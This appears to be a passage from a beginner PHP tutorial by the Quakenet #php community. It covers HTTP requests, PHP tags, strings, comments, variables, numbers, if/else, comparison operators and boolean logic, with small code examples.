Quakenet/#php Tutorial - Complete content

Start

  1. Welcome
  2. Requirements
  3. Layout of the tutorial
  4. Licence and download of the tutorial

1. Welcome

This is the Quakenet/#php.de tutorial about php and mysql. It covers php5.

2. Requirements

You must meet some requirements before working with this tutorial.

  1. As the php scripts generate html code you need to be able to write html code. Use a tutorial like http://www.w3schools.com/HTML/ to learn HTML if you are not familiar with it.

  2. First, you need an editor for writing the php scripts. Since you wrote html code before, you could use the editor you are already using. However, you shouldn't use any WYSIWYG editors. Use editors with syntax highlightning instead. A list of common php editors can be found in our FAQ: "I'm looking for a good PHP-editor".

  3. To actually test and run your php script you need some webspace with php support. There are enough free hosting services to test your php scripts. It's even possible to test your script on your local machine. Note that scripts may only work on your local machine, as they could try to access resources that may not be available on a remote host.

3. Layout of the tutorial

This tutorial is seperated into chapters. Each chapter contains several sections. The chapters are ordered in a linear fashion, so there is a strict order for reading the chapters in. It's really not recommended to skip a chapter (also see the warning at top of every page).

Sometimes, there are also excercises following a chapter. These are for testing your knowledge of the chapter. They usually contain knowledge questions and questions about implementing of php scripts.

A complete version of the tutorial can be found at total.html. This can be used to print the tutorial at once instead of printing each chapter. Note that this document is big.

4. Licence and download of the tutorial

We offer a download version of this tutorial with all HTML/CSS files and images.

download of tut.php-quake.net.en.tar.gz

This tutorial may of course be read from the url http://tut.php-quake.net/, and the download version can be used to read the tutorial offline. Also, the tutorial can be used for education in real life, for example at school or at college. However, the tutorial must be cited if it is used. The tutorial may be copied onto any storage medium for the pupil/students/employees. For the internet parts of the tutorial may be cited.

It is forbidden to make a copy of the tutorial (like a mirror). This applies to the online and offline version of the tutorial. If you want to mention the tutorial to your users, link to http://tut.php-quake.net/. If you have any further questions about the licence, ask an operator of the QuakeNet channel #php.

Questions about the chapter

1. How does an html document begin? <head>, <body> or <html>?

If you answered <html> you are wrong. Each html documents begins with the DOCTYPE or maybe with an xml declaration. If you didn't know that, you should read a tutorial on html first.

Communication between client and server

  1. What is PHP and what does it?
  2. A request of a file seen by a client
  3. Request of a file in the view of the server

1. What is PHP and what does it?

PHP is the recursive backronym of PHP: Hypertext Preprocessor. The name indicates something is proceeded before some point. In this case all the php statements inside the file are proceeded before the server sends the file (or be more specific: the output of the php script) to the client. This is similar to the well known C preprocessor.

PHP is a module or programm installed on the webserver. Often other usefull programms like MySQL is installed. The following diagramm illustrate how it looks like.

Installed modules on the webserver Img.:Installed modules on the webserver

As shown in the diagramm php isn't related to the client or its browser in any way. This is the reason why you cannot control the client. Actions like starting Winamp are not possible.

Common usage of PHP is the processing of data given from a HTML form, that has been send to the webserver. As the php scripts running on the webserver they can access and work with any databases installed on the server (like MySQL as mentioned above). So you can easily write news scripts which reads the news stored in a database. The result of each php script is still plain html code. The browser doesn't recognized in any way the html code isn't generated by a php script. Of course the user see the extensions .php in the URL. However, neither the browser nor the client using it can access the php code you wrote inside the php file.

2. A request of a file seen by a client

If the client requests a file from a server the following happends.

Client send request to the server Img.:Client send request to the server

In the viewpoint of the client he gets the answer of the server.

Client receives the response from the server Img.:Client receives the response from the server

The client used only one connection to the server, however he get two seperated contents from the server.

  1. First the client receives the so called headers. These headers describe the following content and contains several informations about the server. These data are normally hidden by the user but can be shown with browser extensions like Firebug. Headers looks like this:

    HTTP/1.1 200 OK
    Date: Mon, 26 Nov 2007 22:37:21 GMT
    Server: Apache
    Content-Type: text/html

    It's possible to change all these headers with php before they are send to the client. This also means it is possible to generate and send image data to the client if you set the proper content type like Content-Type: image/png.

  2. After the headers there are the so called content. In most cases it containts the html code generated by the php script but can also be the binary data of an image.

You can change both parts with php as much you want, but there is one restriction. The headers must be send before you send the content. These happends automatically if you send the first part of the content. If you print some stuff with php you cannot change the headers. If you try this anyway you will get an error message like Cannot modify header information - headers already sent by (output started at ...).

3. Request of a file in the view of the server

If the server receives a request to a html file he just read the file from the hard disk and send it to the client.

Server receives the request from the client Img.:Server receives the request from the client

As the server must send headers to the client he generate the headers from the files content. E.g. he check the file size and generate a Content-Length header. A complete list of headers may be look like this.

HTTP/1.1 200 OK
Date: Wed, 28 Nov 2007 16:34:05 GMT
Server: Apache
Last-Modified: Mon, 26 Nov 2007 23:24:33 GMT
ETag: "d9b8a-2301-43fdd444c0e40"
Accept-Ranges: bytes
Content-Length: 8961
Content-Type: text/html

If the headers are send the server sends the html code of the file and is finished with this request.

Server sends the response to the client Img.:Server sends the response to the client

As the server hasn't much to do this request is handled very quickly. However, if the file is a php script the server has much more to do.

Server receives the request from the client Img.:Server receives the request from the client

Now the server reads the content of the file. This is a similar to a normal html file.

Server reads the file contents Img.:Server reads the file contents

Now the processing of php must be followed. As the server itself don't understand php he uses the php interpreter. This interpreter reads and executes the statements inside the file accordingly to the rules of the programming language.

Server processed the php statements with the php interpreter Img.:Server processed the php statements with the php interpreter

If the php interpreter finishes the webserver again get the two parts headers and content. These are send to the client back.

Server sends the response to the client Img.:Server sends the response to the client

In point of view of the client nothing is changed. He doesn't even notice php is installed on the server and the requested file contained php code. But the user notice a performance lost if he access php files from a webserver. As php files must be parsed and executed by an php interpreter the server needs much more time (compared to a single html file) to send a response to the client.

Questions about the chapter

1. What are the two parts sends back to the client?

During a http connection the two parts headers and content are send back to the client, and in exactly this order. For a detailed overview of the transfer between client and server check the RFC 2616 - Hypertext Transfer Protocol -- HTTP/1.1.

Basics

  1. Layout of a php file
  2. Functions

1. Layout of a php file

PHP code can be used everywhere in html. To switch into php mode write the character sequence <?php. To leave the php mode again write ?>. Another way is to stop the php mode with the file ending. You can switch into php mode everywhere in your file, its even possible to use the whole file in php mode (file beginns with <?php and ends with ?>). The webserver only handle files as php scripts if the file got the .php extension. This is the default settings for webservers with php support, but can be changed by the admin of course.

A sample php script looks like this:

<?php
echo "Example of a php script\n";
?>

In this example the whole file is in php mode. But as mentioned above the php mode can be used only at possition where needed, too.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xml:lang="en" lang="en">
    <head>
        <title>Hi all</title>
    </head>
    <body>
        <?php
        
echo "<p>The php mode</p>\n";
        
?>
    </body>
</html>

Any text which is outside of php mode is send to the client without interpreted by php. But it can be controlled with a php construct like loops.

The second version isn't useable for changing the headers. With the first character (which doesn't belongs to <?php) which is send as content to the client (in this example the < from the line <?xml version="1.0" encoding="utf-8" ?>) the headers are also send to the client. So its impossible to change the headers with setcookie oder header anymore.

Using a xml declaration can be problematic in some cases. The xml declaration starts with <?xml which is not the same as <?php. But there exists a setting called short_open_tag which allowes you to enable php mode just with <?. This will interfere with the xml declaration if the setting is enabled as php tries to interprete the code xml version="1.0" encoding="utf-8" as php code. Since this isn't valid php code a error message is shown. To solve this problem you can echo the xml declaration with php. A easier way is to deactivate this setting.

2. Functions

To test php create a file with the following content.

<?php
phpinfo
();
?>

Save this file as phpinfo.php and upload it to the webserver. If you open this file in your browser you can get two possible outputs.

  1. You get an empty page. In this case the following must be checked.

    • The file must got the .php extension so the php interpreter loads this file.

    • The file contains valid php code.

    • The webserver supports php.

    • The file is loaded via http://. Beginners often try to open the file over an URL like file://C|/....

    In this case check the source code you get from the server. Depending on your browser you can see the source code at View -> Source. If you see your php code then the webserver doesn't support php.

  2. In the more common case you see a lot of information about the installed php version. You can even check the configuration with phpinfo. This is the first location to check which php modules are installed and how the configuration settings are. Its important to check the php version, but also important to check settings like error_reporting and display_errors.

In this example you see how to use a function. Each function call starts with the function name, in this case its phpinfo. It is followed by an opening parenthese (. It is possible to supply parameters for the function. These parameters changes the processing of the function accordingly to the definition of the function in the manual. If a function accept more than one parameter the parameters are seperated by a comma (,). After all parameters (if any) the parameter list is closed by a closing parenthese ). These parentheses must be used even if no parameter are used (like in phpinfo();). Each statement in php must be terminated by a semicolon ;. A single function call like this one is a valid statement in php any must be terminated by semicolon.

<?php
name_of_function
(parameter1,parameter2,...);
?>

Each part of a function call can be seperated by any number for spaces. To be more specific each part can be seperated by any number of whitespaces. These includes spaces but also includes newlines and tabs. The following function call are all equivalent.

<?php
name_of_function
(parameter1,parameter2);
name_of_function(parameter1parameter2);
name_of_function     (parameter1    ,parameter2)     ;
name_of_function(
    
parameter1,
    
parameter2);
name_of_function       (      parameter1      ,
    
parameter2
)             ;
                      
name_of_function        (parameter1,parameter2)         ;
?>

It depends on your own programm style which one is the best for you to read. In php there exists a standard called PEAR Coding Standard. You should use this standard to write and indent your code so you and any other php programmer can read and understand your code.

Questions about the chapter

1. Which condition must be met so a php file is parsed?

A php file is parsed if it met the following conditions:

Output and strings

  1. Output of strings
  2. Print html code
  3. Special characters in strings

1. Output of strings

The main goal of php scripts, beside any programm logic behinds it, is to generate an output, e.g. a list of news. You use the language construct echo to print some text without leaving the php mode. Check the following example.

<?php
echo 'A text which is printed';
?>

You notice first the parentheses of the function are missing. But thats not an error as echo is not a function but a language construct. The manual explains this as follow:

echo() is not actually a function (it is a language construct), so you are not required to use parentheses with it.

The second thing you noticed is the text to print is written in two apostrophes '. This is the way (independent of echo) to create a string with the written content. This string is the parameter for the language construct echo and it uses it to print the string. If you upload this script to your webserver and runs it you get the following output.

A text which is printed

Now we add a second echo statement in your php script.

<?php
echo 'A text which is printed';
echo 
'Another text which should be printed';
?>

If you test this script on your webserver you get the following output.

A text which is printedAnother text which should be printed

The second string is just printed after the first one. Nothing else is actually written in your php script. First a string is printed then a second string is printed. To actually get a newline in the output you can use the html tag <br/>.

2. Print html code

Html code or be more specific the special characters < and > can be used in string without any problems. This allowes you to add the html tag <br/> at the end of your first string.

<?php
echo 'A text which is printed<br/>';
echo 
'Another text which should be printed';
?>

As expected you will get the following output.

A text which is printed
Another text which should be printed

If you check the source code in your browser you still see both strings in one line.

A text which is printed<br/>Another text which should be printed

3. Special characters in strings

If you add a apostrophe in your string you will get some problems as php recognize it as the end of your string, to early...

<?php
echo 'Dummy text ' with apostrophe';
echo '
Another text;
?>

As you see in this syntax highlighting php builds the string until the second apostrophe. To actually get a ' inside your string you can use double quoted string. These are strings build with quotes (") instead of apostrophes.

<?php
echo "Dummy text ' with apostrophe";
echo 
"Another text";
?>

Another way is to use escape sequences. In php strings the character \ is the escape character and is used to create such a escape sequence. In single quotes strings (strings with ' as delimiter) you can use the escape sequence \' to get a apostrophe into the string.

<?php
echo 'Dummy text \' with apostrohpe';
echo 
'Another text';
?>

The same way can be used to get a quote inside a double quoted string.

<?php
echo "Dummy text \" with apostrohpe";
echo 
"Another text";
?>

But now a question is rised how to get a single \ inside your string as it start a escape sequence. The solution is to escape the escape character.

<?php
echo "Double quoted with \\ im text";
echo 
'Single quoted with \\ im text';
?>

As it looks both single quoted and double quoted strings using the same functionality of escape sequences double quoted strings got more escape sequences. The following table shows the additional escape sequences which can be used in double quoted strings.

Table of escape sequences
Sequence Description
\n A newline
\r A carriage return, often used for network protocols.
\t A tab
\v A vertical tab, not often used
\f A form feed, even used less than \v
\$ The dollar character. Without these sequences php tries to find a variable and fills in the content of the variable.
\0 to \777 A character from the area of 0x000 to 0x1FF
\x0 to \xFF A character from the area of 0x00 to 0xFF

Questions about the chapter

1. What kind of strings exists?

There are 4 types of string but we only mentioned 2 types here. Besides double quoted strings and single quoted strings there are also called heredocs and nowdocs. An explaination of strings in php can be found in the manual of Strings.

Comments

  1. What are comments?
  2. Syntax of comments
  3. Commenting out

1. What are comments?

Text or lines in your php scripts which are ignored by the php interpreter are called comments. This is like the html comments with <!-- -->. With these you can (as the name implies it) write comments inside your script. These are used to add e.g. the authors name or the license into the php script without interfering the php interpreter.

2. Syntax of comments

There are 4 types of comments in php but we only use 3 of them. And from them two are almost the same. These comment types are seperated into two groups, the one line comments and the multi line comments

  1. One line comments are comments which ends at the current line or at the ?>. These comments start with // (this is not the string escape sequence \\). The following text is marked as a comment and is ignored by the php interpreter.

    <?php
    echo 'Text'// echo a string

    // Generate a second text
    echo 'Another text';

    // echo "I'm not printed as I am inside a comment";

    echo 'I am printed, althought I got // in the string';

    // comment running until the php end ?><?php echo "I'm not in the comment anymore"?>

    As you see not every charactersequence of // is treated as a comment, e.g. if it is used inside a string.

  2. Multi line comments are comments which can be longer than one line. Instead of starting each line with a // a multi line comment starts with a single /* and stops with a */.

    <?php
    echo "Print something again";
    /* Some comments which
    use several
    lines
    until the ending */
    echo 'A normal php statement again';
    ?>

    For readability each comment can be written as you want, like indenting the lines.

    <?php
    echo "Print something again";
    /* Some comments which
       use several
       lines
       until the ending */
    echo 'A normal php statement again';
    ?>

    You can even exaggerate this to underline the comments.

    <?php
    /*************************
     * loading configuration *
     *************************/
    echo "config loaded";
    ?>

    For multi line comments you cannot use ?> to stop such a comment.

  3. The third type are comments for PHPDoc. These are almost identically to multi line comments but uses /** as the start of the comment. However it must be appended by a whitespace (typically a newline).

    <?php
    /**
    A comment in PHPDoc style
    */
    echo "normal php code";
    ?>

    You may ask why there are almost two identically comment tyes. PHPDoc are special comments which are used to document special parts of your php script. These are used before selfwritten functions.

    <?php
    /**
     * Output a number.
     *
     * The following function outpus the given number.
     *
     * @param i The number to print.
     */
    function output_number($i) {
        
    // ...
    }
    ?>

    The syntax of such PHPdocs is defined by the phpDocumentor project. It's much the same as the Javadoc Tool with the same idea. Special programms (this mentioned PHPDoc) read this comments and generate html files for documentation. This way other php programmers can easily read the documentation to understand what the mentioned function (or class) is doing.

3. Commenting out

Besides writing developer notes into comments you also can do stuff which is called commenting out. During the development sometimes you want to disable some part of the script but without deleting the code. You can do this by putting the php code inside a comment. Check the following example.

<?php
do_this
();
do_that();
and_this();
?>

If you dont want to call do_that() just put it inside a one line comment.

<?php
do_this
();
//do_that();
and_this();
?>

For more than one lines you still can use multi line comments.

<?php
do_this
();
/*
do_this();
and_this();
and_that();
and_now_this();
*/
and_again_that();
?>

There is a trick to active the commands in the comment again fast, instead of just deleting the /* and */. For this you must put the */ inside a one line comment with //.

<?php
do_this
();
/*
do_this();
and_this();
and_that();
and_now_this();
//*/
and_again_that();
?>

To reactive the execution of the statements replace the /* with a //*.

<?php
do_this
();
//*
do_this();
and_this();
and_that();
and_now_this();
//*/
and_again_that();
?>

Now you see the reason for the // before the */, otherwise you got invalid php code (and will get an parse error). Now you have 2 single one line comments. If you replace //* back to /* the statements are commented out again and you have one multi line comment.

As a multi line comment ends with */ its impossible to embed multi line comments inside multi line comments. This is not a problem as you normaly dont do this explicit. But it can happends if you comment out some code and some days later comment a wide area out.

<?php
do_this
();
do_that();
/*
deactivated();
deactivated2();
*/
and_this();
and_that();
?>

Now we want so deactivate the code from do_that() to and_this(). You can try this with a multi line comment.

<?php
do_this
();
/*
do_that();
/*
deactivated();
deactivated2();
*/
and_this();
*/
and_that();
?>

With this code php will stop the execution of the script. As you see in the syntax highlighting in this tutorial the outer comment isn't really an outer comment. For php the multi line comments start at line 3 and ends at line 8 (and not at line 10). In this case even the line and_this() gets executed. However, the whole script isn't run at all as the script results in a parse error in line 10.

Questions about the chapter

1. Which comment types exists?

There are 4 types, but we handled only 3 of them. These are one line comments, multi line comments and PHPDoc comments. The 4. type are one line comments which uses # as the start instead of //. A description about the comments in php can be found in the manual at Comments.

Variables

  1. What are variables?
  2. Syntax of variables
  3. Assignment operator

1. What are variables?

Typically php scripts are generate the output dynamically. The php scripts itselfs (the contents of the files) are static however. So we need something which can be dynamic filled. For this there are so called variables. These are filled by the php script and can be reuse later in the script.

2. Syntax of variables

All variables in php starts with the dollar character $. After that the name of the variable starts with a letter or the underscore _. And after that the name can also use digits. Variables which begins with an underscore has some special meaning. For this reason the php developer shouldn't use own variables which start with an underscore.

<?php
$valid
$10_not_valid
?>

Variables are case-sensitive, so its important how you write your variables. The variable $foo is not the same as the variable $FOO. This is important as the superglobal variables like $_GET are not written as $_get.

3. Assignment operator

To fill a variable with a value you use the assignment operator =. The variable must be written on the left of the = character, the value to save must be written on the right.

<?php
$var 
'Content';
$
123 "not valid :(";
$some_variable $another_variable;
?>

After we filled the variables with values we can use e.g. with echo

<?php
$email 
'foo@example.com';
echo 
'Your email is: ';
echo 
$email;
?>

Questions about the chapter

1. How is the syntax of variables?

Variables starts with a dollar character $. Then there are any number of letters and underscores _. After the first character of the name digits can be followed, too. Even special characters like umlauts are allowed, however some editor with syntax highlighting doesn't recognize them correct. See the manual chapter of Variables.

Concatenation operator

  1. Concatenate of strings and variables

1. Concatenate of strings and variables

One operator of php is the concatenation operator which is written as a single dot (.). It is used to concatenate two expressions.

<?php
'John'.'Doe'// generate a string "JohnDoe"
?>

It doesn't matter if you concat strings or variables. Even numbers can be concatenate.

<?php
'Foo'.'Bar';
'Bla'.$var;
$var1.$var2;
?>

In this examples the concatenations are calculated, however they are not used. As this is a valid expression itself it can be saved in a variable or printed directly with echo

<?php
$texts 
'Foo'.'Bar';
echo 
$some_variable.'String';
?>

The number of concatenations is unlimited, however php concatenate only 2 expressions together and use this result for the next concatenation.

<?php
$name 
$surname.' '.$lastname;
// surname + one space + lastname
echo 'I am '.$name.', good morning.';
?>

It can be tricky to concatenate variables and strings if they contain single quotes and double quotes. There can be some errors if you use html code.

<?php
// you want a link <a href="index.php?section=XYZ">Link</a>, in this
// XYZ part should be filled with a variable
$var 'XYZ';
echo 
'<a href="index.php?section='.$var.'">Link</a>';   // one valid solution
echo "<a href=\"index.php?section=\".$var.\">Link</a>";
// this would generate <a href="index.php?section=".XYZ.">Link</a> as the text, which is not what you want
echo '<a href="index.php?section=".$var.">Link</a>';
// this would generate <a href="index.php?section=".$var.">Link</a>, which is also not what you want
?>

Some may be get irritated to write something like .'" or maybe ."\" after variables. However after the concat operator you can write any string which may contain any escape sequences you want. To don't get irritated you first write the full html code and then add the variable with the concatenate operator.

<?php
echo '<a href="index.php?section=XYZ">Link</a>';
//                               ^^^
//                 replace with  '..'  (which is invalid atm.)
//                                 |
//                                 V
echo '<a href="index.php?section='..'">Link</a>';
//                                ^^
//                     insert the variable
//                                   |
//                                   V
echo '<a href="index.php?section='.$var.'">Link</a>';
?>

With sprintf you got some possibilities to fill a string with a variables content.

Questions about the chapter

No questions

Numbers

  1. The datatype numbers
  2. Integer numbers
  3. Float numbers
  4. Memory usage of integers and floats

1. The datatype numbers

If you want to calculate with variables (be more specific: with its content) you must use a data type which is used for numbers. One lazy way is to write a number in string and calculate with these strings.

<?php
echo "5"+"9";
?>

This will generated 14 as expected. However php didn't calculated with numbers but with strings. This doesn't work normally (or what do you expected for "hello" + "xyz"?), but the automatically typecasting take place here. The strings are got casted to real numbers first. In php there exists two types, the integer and float numbers.

2. Integer numbers

Integer numbers are any whole numbers, they don't have any decimal places. E.g 5, 31 and 199 are integer numbers, but also -1, -10 and -44. In php you write numbers as they are, the php interpreter reads the sequence of digits as a number.

<?php
$var 
5;
$var2 31;
$var3 = -10;
?>

Its also possible to write integer numbers in hexadecimal or octal notation, if you know how to calculate them. For hexadecimal notation you use the prefix 0x, for octal notation the prefix 0 (normal integer numbers starts with the highest digit or are zero anyway).

<?php
$var 
0xFF// hexadecimal (255), often use for protocols
$var2 0763// octal (499), often used for chmod
$var3 0// normal zero, it doesn't matter if hex-, oct- or decimal
?>

3. Float numbers

Float numbers are values with decimal places like 5.7, 12.25 or -4.07, but also 10.0, 3.1E-10 or 4.5e3.

<?php
$var 
5.7;
$var2 3.1E-10;
$var .1;
?>

Float numbers can be easily recognized by the decimal point ., so you dont use the comma (,) for the decimal places. As the dot . is also used for string concatenation you must be very carefully if you concat float numbers with strings. Sometimes you must use parentheses.

<?php
echo 'Percent value:'.77.3.'%';   // won't work
echo 'Percent value:'.(77.3).'%'// works
echo 'Percent value:'77.3 .'%'// works, these spaces "helps" php to parse this line correct
?>

4. Memory usage of integers and floats

There may be a question why to use integer and float numbers as float numbers can do more. Both types use (basically) the same memory usage but use a different usage of it. Integer values are saved very easily. Imagine you save an integer value into a 64 bit field. One bit is reserved for the sign (more or less, check Two's complement). The remaining 63 bits are for the significations. A bit with the value 1 means the integer number got this mentioned signification. The sum of all results in the value of the integer number. These significations starts from 2^0 (1) and goes up to 2^62 (4611686018427387904). As an example the number 50 got the significations 32, 16 and 2. On bit level these are the bits 1, 4 and 5. These are put into a 64 bit field.

Bits set for the integer value 50 (simplyfied) Img.:Bits set for the integer value 50 (simplyfied)

However, integer numbers are saved in the Two's complement.

Float numbers are saved in a different way. As we can save decimal places too we cannot use the same significations as for integer numbers. Float numbers are normally saved in the IEEE 754 format. For a 32 bit float number one bit is used for the sign, 8 bits for the exponent and 23 bits for the mantissa. The mantissa builds a number between around 0 and 1. On this value a base-2-exponentation is multiplied. This exponentation is build with the mentioned 8 bits. Depending on the choosen standard the mantissa is moved left (if the factor is big, like 2^50) or moved right (if the factor is small, like 2^-50). With the sign bit you get a complete number. So you cannot save any number with decimal places but only a specific number of digits of the number. But thats normally no problem as we use it all the time like giving the weight of something in 31.6 tons instead of 31.6346800235 tons.

Questions about the chapter

1. What kinds of datatypes exists for numbers?

There are integer numbers for whole numbers and float numbers for numbers with decimal places.

Calculation with numbers

  1. Aritmetic operations

1. Aritmetic operations

In PHP are 6 simple aritmetic operations. First these are the 4 basic aritmetic operations +, -, * and / (/ is the division as : is already used in php and / is used in any other programming language, too), and there is the unary operator - which negates a number and the operator % which calculate the remains of a division (20:7 = 2 remaining 6).

<?php
$a 
10;
$b 6;
echo 
$a-$b;   // 4
echo $a+$b;   // 16
echo $a*$b;   // 60
echo $a/$b;   // float(1.66666666667)
echo -$a;     // -10, same as echo 0-$a;
echo $a%$b;   // 4 (6 fits one times in 10 with a remain of 4)
?>

For any complex calculaten there exists a lot of functions, to find in the manual at Mathematical Functions. Especially pow is such a function which calculates the exponentation. Beginners try to use ^ as the exponentation and fails as php use ^ for something different than the exponentation (it is used for a bitwise XOR operation).

<?php
$base 
5;
$exponent 7;
echo 
$base^$exponent;        // echos 2, which is not what you want
echo pow($base$exponent);  // echos 78125
?>

Questions about the chapter

No questions

Control structures

  1. Datatype boolean
  2. Control structures
  3. Alternative execution
  4. Errors you may get with if();

1. Datatype boolean

In PHP there is a datatype which may use only one single bit. So this datatype can only be used to save just two possible values 0 and 1. In the context of programming languages you normally speak of about true (for 1) and false (for 0). This datatype is used to say if something is true or something is false

PHP uses the codes true and false to get the corresponding boolean values. These codes are case-insensitive, however you normally write them in lowercase.

<?php
$var 
true;
$var2 false;
$var3 TRUE;
$var4 FaLsE;

$var5 'true'// this is a 4 character long string with the content "true", its not
                // the boolean value true
?>

This datatype is use for control structurs. With these you control which programm code is executed and which not.

2. Control structures

You can control the programm flow with control structures. You can control with these if a programm block is executed or not. You can build such a control structure with the language construct if

<?php
if (expressionstatement
?>

The expression is calulated and must return a value. This value is checked for equivalent agains true. If this is the case the following statement gets executed. If you want to control more than one statement with one if you must use curly brackets to put the statements together.

<?php
if (expression) {
    
statement_1;
    
statement_2;
    
// ...
    
statement_n;
}
?>

The expression to check can be build with several expression together if you use operations like and or !.

3. Alternative execution

If you write some code with an if statement you often wants to execute some code if the if statement is not executed. An example can be to show an admin menu if the login is valid otherwise show an error message. You can write such an alternative execution with the keyword else which must belong to a previous if statement.

<?php
if (login_valid) {
    
// show admin menu
} else {
    
// show error message
}
?>

You can also copy the if statement and negate the expression with !.

<?php
if (login_valid) {
    
// show admin menu
}
if (!
login_valid) {
    
// show error message
}
?>

This is however inadvisable and its sometimes not even possible to write.

You even can extend such an if-else with elseif structurs. This is a block between the if and else block which also contains an expression to check.

<?php
if (condition) {
    
// do this
} elseif (another_condition) {
    
// do that
} else {
    
// do at least this
}
?>

The elseif part is executed/checked if the previosly if check gets false. You can even write more than one elseif structures.

<?php
if (condition) {
    
// do this
} elseif (another_condition) {
    
// do that
} elseif (and_another_condition) {
    
// and do this
} elseif (expression) {
    
// php-code
} else {
    
// do at least this
}
?>

The condition which is first true gets executed. If no condition at all is true the else part gets executed.

4. Errors you may get with if();

As an if () looks like a function call it isn't one. A semicolon at the end isn't not just useless, it also breaks the correct working of an if statement. Check the following example.

<?php
if (false); // <-- notice the ; at the end
    
echo 'Foobar';
?>

Althought the condition is false the echo statement gets executed anyway. The if statement controls only the next statement of the next block written with curly brackets. But in this case its not the echo 'Foobar'; line but the single ; behind the if(). The code looks actually more like this:

<?php
if (false)
    ;
echo 
'Foobar';
?>

Or be more clear:

<?php
if (false) {
    ;
}
echo 
'Foobar';
?>

As you see the if statment just controls an empty statement, independent of the following echo statement.

Questions about the chapter

No questions

Compare operators

  1. The compare operator ==
  2. Other compare operators
  3. Assignment operator vs. compare operator

1. The compare operator ==

To check two values for equal you use the == operator. On both sides of the operator are the values to check. These can be variables and a constant value. PHP compares these values and returns a boolean value, so the result is either false or true. This value can be used later like in control structures.

<?php
"john" == "doe";        // results in bool(false), but the result isn't used in any way
$check "max" == $var;   // checks the content and saves true or false in $check
var_dump('foo' == 'bar'); // outputs bool(false) for debugging
?>

2. Other compare operators

Besides == there are other compare operators. For numbers there are several operators like <, <=, > and >= which checks the same as they are written.

<?php
$var 
7;     // is true
$var 10 <= 10;  // is true
$var 9;     // is false
?>

And there is the unequal operator != to check if two values are not the same.

<?php
$var 
10 != 10;  // false
$var != 1;    // true, as 0 is not 1
?>

As enhancement to the compare operators == and != there are two operators === and !==. These do not just check the values but also the types of the values to check. In this case the string "10" are not the same as the integer value 10 as they were with ==.

<?php
$var 
== "5";  // is true
$var === "5"// is false, because int != string

$var 'Max' == "Max";  // is true, althought they use single quote strings and double quote strings
$var 'Max' === "Max"// is also true, both string have the same content and are strings
?>

You need this to check for return values of functions which can return the boolean value false but can also return a value which may be something like false but aren't a boolean value (like the integer 0).

<?php
$var 
false == 10// false
$var false ==  0// true, althought the first one is boolean and the second one is a number

$var false === 10// as above, false
$var false ===  0// this time its false as int != boolean
?>

3. Assignment operator vs. compare operator

A common error is to use an assignment operator instead of an compare operator just because you miss a equal character =. The php scripts are technically valid but they do not do what they should do.

<?php
$check 
$name == 'Max'// Checks the value agains 'Max' and saves the (boolean) result in $check
$check $name 'Max';  // saves the value of 'Max' in $name and use this result (the assignment) as
                         // the new value for the variable $check (which will be also 'Max')
?>

That may be frustrated if you have this in an if statement. You want to check a value but actually overwrites the variable with a new value. To solve this common error (which happends always...) you should write the value to check agains always on the left of the compare operator.

<?php
"Max" == $name;
?>

With this code its impossible to miss a equal character =. If you miss it anyway you get an parse error which can be easily be fixed. But try to fix an error where you miss a = somewhere in your code.

<?php
$check 
"Max" == $name// checking and save true/false in $check
$check $name "Max";  // maybe not that what you want and hard to find
$check "Max" $name;  // not possible, results in an parse error (and then you know where and how to fix)
?>

Questions about the chapter

No questions

Logical combinations

  1. Combinations of several conditions
  2. AND combination
  3. OR combination
  4. NOT operator
  5. NAND combination
  6. NOR combination
  7. XOR combination
  8. XNOR combination
  9. Rules for simplify a condition

1. Combinations of several conditions

Sometimes a condition is build with several sub-conditions. You can combine these atomic conditions together to get the condition you want. There are 7 combinations/functions how to combine two boolean values. These are 3 basic and 4 extended combinations. PHP have implemented 4 of them but all other combinations can be build with these 4 combinations.

2. AND combination

The AND combination is the easiest logical combination. The result of such a combination is true if and only if both values used for this operator are true. The language usage of and is the same like in You are permitted to play outside if you have done your homework AND have cleaned up your room. In PHP this combination can be used with the and operator.

<?php
$var 
false and false;  // results false
$var false and true;   // results false
$var true  and false;  // results false
$var true  and true;   // results true
$playing $homework_done and $room_cleaned_up;
?>

The following truth table shows the result of the AND combination.

Truth table of AND
Argument 1 (A) Argument 2 (B) Result (Q)
0 0 0
0 1 0
1 0 0
1 1 1

In digital eletronics there are special diagramms for these combinations. The AND combination is drawn as followed.

AND combination as electronic symbol Img.:AND combination as electronic symbol

As you see the & character this must be an and combination. Left are the inputs A and B and right the output Q.

3. OR combination

A OR combination is the second combination which is implemented in PHP with the keyword or. The natural language usage isn't exactly the same as in a programming language. A pedestrian light is showing green if you press the one or the other button. But this sounds like the pedestrian light is only switching if only one button is pressed. Thats not true as the pedestrian light switchs also if both button are pressed at the same time. And that is how the OR combination is working. It returns true if one value or both value is true.

<?php
$var 
false or false// results false
$var false or true;  // results true
$var true  or false// results true
$var true  or true;  // results true

$show_green $button1 or $button2;
?>

The truth table looks like this.

Truth table of the or combination
Argument 1 (A) Argument 2 (B) Result (Q)
0 0 0
0 1 1
1 0 1
1 1 1

In digital eletronics the following graphic symbol is used.

OR combination as graphic symbol Img.:OR combination as graphic symbol

If you add the values of the inputs together you see why the graphic symbol shows >=1.

4. NOT operator

The NOT operator is an operator which got only one input. In PHP this its implemented with the ! operator. The value to check must be written after this operator. The result of this operator is the negate of the given value. If you have a coin and it falls on heads it is not on tails.

<?php
$is_heads 
= !$is_tails;
?>

You have already saw this ! in the compare operators != and !==. So you can write these compare operators as followed.

<?php
$var 
$x != $y;    // with !=
$var = !($x == $y); // with !(==) (parentheses are needed, otherwise only the $x variable gets negated).
?>

The truth table is a little bit shorter as you have only 1 input. Die Wahrheitstabelle fällt entsprechend kürzer aus.

Truth table of the NOT operator
Argument (A) Result (Q)
0 1
1 0

In digital eletronics the following graphic symbol is used.

NOT operation as a graphic symbol Img.:NOT operation as a graphic symbol

The important part is not the 1 but the little circle at the output line. This is the mentioned negation, in this case at the output of the graphic symbol. This circle can also used at the input line, too.

5. NAND combination

Besides the 3 basic combination the NAND is an extended combination. Its a combination build with and AND and a NOT. There doesn't exists such an operator in php but can be build with other operators.

<?php
$check 
= !($var1 and $var);    // AND -> NOT = NAND
$check = !$var1 and $var;      // its not an NAND as only $var1 gets negated
?>

In digital eletronics the following graphic symbol is used.

NAND combination as graphic symbol Img.:NAND combination as graphic symbol

You can see how the AND and NOT operator is build together to get a NAND combination.

Truth table of the NAND combination
Argument 1 (A) Argument 2 (B) Result (Q)
0 0 1
0 1 1
1 0 1
1 1 0

6. NOR combination

